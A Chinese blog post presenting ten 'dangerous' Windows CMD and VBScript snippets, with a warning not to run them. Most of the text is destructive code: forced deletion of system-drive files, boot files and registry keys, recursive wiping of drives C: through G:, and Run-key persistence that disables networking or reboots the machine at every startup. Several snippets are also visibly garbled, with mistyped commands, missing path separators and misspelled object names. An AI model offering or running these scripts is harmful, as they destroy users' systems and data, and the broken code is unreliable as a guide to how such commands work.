目錄
一、說明
本篇博客記錄的是使用CMD的十個危險的指令,千萬不要去嘗試,看看就好了。如果手癢想試試,引發後果請自行承擔。千萬千萬要謹慎操作哦。
二、十大指令
1、刪除系統重要文件並關機
@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
2、更改文件後綴名
REN *.DOC *.TXT REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
BEN *.BAT *.TXT
3、刪除系統重要文件
del c:\WINDOWS\system32\*.*/q
4、使pc永久崩潰
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
5、刪除全部註冊表
@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
6、永遠禁用網絡
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c"windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun/v
windowsapi/t reg_sz/d c:windowswimn32.bat/f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun/v
controlexit/t reg_sz/d c:windowswimn32.bat/f
pause
7、永遠的《回車》
set wshshell =wscript.createobject
do
wscript.sleep 100
wshshell.sendkeys"~"
loop
8、開機就關機
echo @echo off>c:windowshartlell.bat
echo break off>>c:windowshartlell.bat
echo shutdown -r -t 11-f>>c:windowshartlell.bat
echo end>>c:windowshartlell.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun
/v startapi /t reg_sz/d c:windowshartlell.bat /f
reg add hkey-current_usersoftwaremicrosoftwindowscurrentversionrun
/v/t reg_sz/d c:windowshartlell.bat /f
PAUSE
9、格式化硬盤
rd/s/q D:\
rd/s/q C:\
rd/s/q E:\
rd/s/q F:\
rd/s/q g:\
10、開啓CD蜂鳴器 不停地響
Set oWMP=CreateObject("WMPIayer.0CX.7")
Set colCDROMs=oWMP.cdromCollection
do
if colCDROMs.Count>=1 then
For i=0 to colCDROMs.Count -1
colCDROMs.ltem.Eject
Next
For =0 to colCDROMs.Count -1
colCDROMs.ltem.Eject
Next
End lf
wscript.sleep 100
Loop
注意:如果你使用任何一個CMD命令,造成的損失與博主無關,大家看看就好了,不要去實際操作。
更多精彩好文請移步:http://wjhsmart.vip
如果有需要互聯的小夥伴可以給博主留言哦